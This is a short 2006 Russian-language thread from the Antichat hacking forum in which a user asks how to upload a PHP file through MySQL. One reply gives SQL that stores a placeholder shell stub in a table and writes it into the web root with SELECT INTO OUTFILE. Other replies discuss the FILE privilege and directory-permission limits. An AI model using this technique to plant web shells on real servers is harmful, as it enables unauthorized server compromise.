HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

php через MySQL
  #1  
Старый 16.01.2006, 09:38
Grema
Участник форума
Регистрация: 29.11.2005
Сообщений: 122
С нами: 10761096

Репутация: 27
По умолчанию php через MySQL

Как можно залить php файл через MySQL?
Юзаю rst.void sql скрипт...
 
Ответить с цитированием

  #2  
Старый 16.01.2006, 16:43
fucker"ok
Познавший АНТИЧАТ
Регистрация: 21.11.2004
Сообщений: 1,137
С нами: 11298566

Репутация: 761


По умолчанию

смотря какие права у тебя есть.
Например
Код:
//Создаём таблицу shell
CREATE TABLE shell (code TEXT NULL);
//вставляем в неё сам код шела
INSERT INTO shell VALUES('<? shell(); ?>');
//выводим шел в файл
SELECT * FROM shell INTO OUTFILE '/home/PATH_TO_WWW/shell.php';
но не факт. Это тоже от много зависит.
 
Ответить с цитированием

  #3  
Старый 17.01.2006, 09:18
Grrl
Участник форума
Регистрация: 17.07.2004
Сообщений: 181
С нами: 11481506

Репутация: 97
По умолчанию

прежде всего зависит от того есть ли привилегия file у юзера sql .
если нет то получишь сообщение об ошибке типо аксес денайд фор юзер....и т.п
 
Ответить с цитированием

  #4  
Старый 17.01.2006, 16:49
Zadoxlik
Постоянный
Регистрация: 28.02.2005
Сообщений: 853
С нами: 11156006

Репутация: 749


По умолчанию

Попасть в админку и там поковырять или так как уже тут сказали.
 
Ответить с цитированием

  #5  
Старый 17.01.2006, 16:54
fucker"ok
Познавший АНТИЧАТ
Регистрация: 21.11.2004
Сообщений: 1,137
С нами: 11298566

Репутация: 761


По умолчанию

Я не знаю можно ли запретить OUTFILE для самого mysql, но mysql запущен от юзера mysql (покрайне мерее я так делаю, так рекомендует документация). Так что чтобы записать твой пхп код мало знать путь до WWW, нужно ещё иметь папочку с правами на запись для левых юзеров :]
 
Ответить с цитированием

  #6  
Старый 19.01.2006, 17:23
Cronyal
Познающий
Регистрация: 07.01.2006
Сообщений: 35
С нами: 10704678

Репутация: 3
По умолчанию

конечно можно. админ мискл может запретить любые команды, даже SELECT)))
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP 186 21.02.2010 02:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...
×

ESCROW ADMIN PANEL

Загрузка...
Загрузка...